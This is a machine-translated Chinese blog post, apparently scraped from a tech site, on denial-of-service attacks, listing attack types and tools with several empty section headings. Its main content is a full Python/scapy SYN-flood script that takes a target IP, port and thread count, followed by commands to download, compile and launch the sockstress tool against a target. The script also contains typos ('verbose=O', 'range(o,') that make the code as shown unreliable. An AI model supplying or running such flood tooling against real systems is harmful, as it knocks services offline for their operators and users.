当前位置:网站首页>Task: denial of service DOS
Task: denial of service DOS
2022-07-01 19:28:00 【Debroon】
Denial of service DoS
- Denial of service DoS principle
- Syn-Flood Flood attack 、IP Address spoofing
- Smurf attack 、Sockstress
- TearDrop
- DNS Enlarge the attack
- SNMP Enlarge the attack
- NTP Enlarge the attack
- application layer Dos
- Denial of service attack tools -RUDY、Hping3、LAND attack 、Siege
- Denial of service attack tools -NMAP、 Anonymous denial of service toolkit ( Posted by anonymous DoS Tools )、 Other denial of service tools -XOIC、HULK、DDOSIM、GoldenEye
Denial of service DoS principle
Denial of service DoS, It is the use of program vulnerabilities or one-to-one resource exhaustion Denial of Service Denial of service .
but DoS It's a one-on-one attack , Completely fight their own resources , The result is bad .
Distributed denial of service DDos, It's a many to one attack , Pool resources , The emphasis is on large quantity .
The process of normal users accessing web pages :
- User sends request (SYN package )
- The web server accepts the request , return (SYN-ACK package )
- The user sends again (ACK package ), The service connection between users and websites
Syn-Flood Flood attack 、IP Address spoofing
Syn-Flood Flood attack principle : The number of customers served by the website server is limited (TCP maximum connection , Not a server CPU And memory ), We use a large number of computers we control to occupy web server resources ( Keep asking , flow like water ), Then other users visit this website , There will be no reception resources ( Apply for services , Website Service denied ).
syn_flood.py
Script :
# _*_ coding: utf-8 _*_
# Set encoding , Support for Chinese characters
from scapy.all import *
# Import packages that manipulate messages and interact with websites , It can realize the contracting operation of flood attack
from time import sleep
import random
import thread
# Import thread package
import logging
# Import log package
Logging.getLogger('scapy.runtime').setLevel(logging.ERROR)
# Input prompt for users , Ensure the input format
if len(sys.argv)!= 4:
print " usage :./syn_flood.py [IP Address ] [ port ] [ Number of threads ]"
print " give an example :./syn_flood.py 1.1.1.1 80 20"
sys.exit()
target = str(sys.argv[1]) # Destination address
port = int(sys.argv[2]) # port
threads = int(sys.argv[3]) # Number of threads , Multithreading implements a large number of attacks
print " Being implemented SYN flood attack , Press Ctrl+C Stop attack ."
def synflood(target, port):
while 1:
x = random.randint(0, 65535)
# Choose a port at random , As a source port
send( IP(dst=target) / TCP(dport=port, sport=x), verbose=O )
# Send a request , Occupy the target server TCP The number of connections
for x in range(o, threads):
# from 0 To Number of threads
thread.start_new_thread( synflood, (target, port) )
# At the end of the goal ip And port , Type out all threads
Smurf attack 、Sockstress
# Python Call the attack script
./sockstress.py 1.1.1.1 21 200
// C Call the attack script
Download tool :https://github.com/defuse/sockstress
gcc -Wall -c sockstress.c
gcc -pthread -o sockstress sockstress.o
./sockstress 1.1.1.1:80 eth0
./sockstress 1.1.1.1:80 eth0 -p payloads/http
TearDrop
DNS Enlarge the attack
SNMP Enlarge the attack
NTP Enlarge the attack
application layer Dos
Denial of service attack tools -RUDY、Hping3、LAND attack 、Siege
Denial of service attack tools -NMAP、 Anonymous denial of service toolkit ( Posted by anonymous DoS Tools )、 Other denial of service tools -XOIC、HULK、DDOSIM、GoldenEye
边栏推荐
猜你喜欢
Specification of lumiprobe reactive dye indocyanine green
M91快速霍尔测量仪—在更短的时间内进行更好的测量
Huawei game failed to initialize init with error code 907135000
EasyGBS主子码流都为H.265时,切换出现花屏如何解决?
精耕渠道共谋发展 福昕携手伟仕佳杰开展新产品培训大会
Intensive cultivation of channels for joint development Fuxin and Weishi Jiajie held a new product training conference
Solidity - 合约结构 - 错误(error)- ^0.8.4版本新增
Games202 operation 0 - environment building process & solving problems encountered
Cdga | if you are engaged in the communication industry, you should get a data management certificate
MATLAB中subplot函数的使用
随机推荐
M91 fast hall measuring instrument - better measurement in a shorter time
Learn MySQL from scratch - database and data table operations
transform + asm资料
[quick application] there are many words in the text component. How to solve the problem that the div style next to it will be stretched
3. "Create your own NFT collections and publish a Web3 application to show them" cast NFT locally
奔赴山海之前,毕业季一定要做的那些事情
精耕渠道共谋发展 福昕携手伟仕佳杰开展新产品培训大会
[go ~ 0 to 1] day 4 June 30 defer, structure, method
Games202 operation 0 - environment building process & solving problems encountered
Solution of intelligent supply chain management platform in aquatic industry: support the digitalization of enterprise supply chain and improve enterprise management efficiency
[to.Net] C set class source code analysis
使用环信提供的uni-app Demo,快速实现一对一单聊
Once the SQL is optimized, the database query speed is increased by 60 times
XML语法、约束
[go ~ 0 to 1] day 5 July 1 type alias, custom type, interface, package and initialization function
Manufacturing SRM management system supplier all-round closed-loop management, to achieve procurement sourcing and process efficient collaboration
pickle.load报错【AttributeError: Can‘t get attribute ‘Vocabulary‘ on <module ‘__main__‘】
ECS summer money saving secret, this time @ old users come and take it away
web开发常用的开源框架的开源协议整理
白盒加密技术浅理解